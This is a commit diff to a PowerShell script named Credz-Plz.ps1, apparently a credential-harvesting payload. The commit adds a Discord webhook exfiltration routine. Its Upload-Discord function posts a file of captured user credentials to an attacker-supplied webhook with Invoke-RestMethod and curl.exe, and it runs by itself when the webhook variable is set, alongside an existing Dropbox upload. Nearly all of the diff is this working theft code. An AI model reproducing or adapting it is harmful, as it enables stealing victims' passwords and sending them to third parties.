Update Credz-Plz.ps1
This commit is contained in:
parent
41d214067a
commit
65156a7a2d
1 changed files with 30 additions and 0 deletions
|
@ -34,8 +34,11 @@
|
||||||
|
|
||||||
#------------------------------------------------------------------------------------------------------------------------------------
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
# This is for if you want to host your own version of the script
|
# This is for if you want to host your own version of the script
|
||||||
|
|
||||||
# $db = "YOUR-DROPBOX-ACCESS-TOKEN"
|
# $db = "YOUR-DROPBOX-ACCESS-TOKEN"
|
||||||
|
|
||||||
|
# $dc = "YOUR-DISCORD-WEBHOOK"
|
||||||
|
|
||||||
#------------------------------------------------------------------------------------------------------------------------------------
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
$FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt"
|
$FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_User-Creds.txt"
|
||||||
|
@ -163,6 +166,33 @@ if (-not ([string]::IsNullOrEmpty($db))){DropBox-Upload -f $env:TMP\$FileName}
|
||||||
|
|
||||||
#------------------------------------------------------------------------------------------------------------------------------------
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Upload-Discord {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[parameter(Position=0,Mandatory=$False)]
|
||||||
|
[string]$file,
|
||||||
|
[parameter(Position=1,Mandatory=$False)]
|
||||||
|
[string]$text
|
||||||
|
)
|
||||||
|
|
||||||
|
$hookurl = "$dc"
|
||||||
|
|
||||||
|
$Body = @{
|
||||||
|
'username' = $env:username
|
||||||
|
'content' = $text
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($text))){
|
||||||
|
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file $env:TMP\$FileName}
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
<#
|
<#
|
||||||
|
|
||||||
.NOTES
|
.NOTES
|
||||||
|
|
Loading…
Reference in a new issue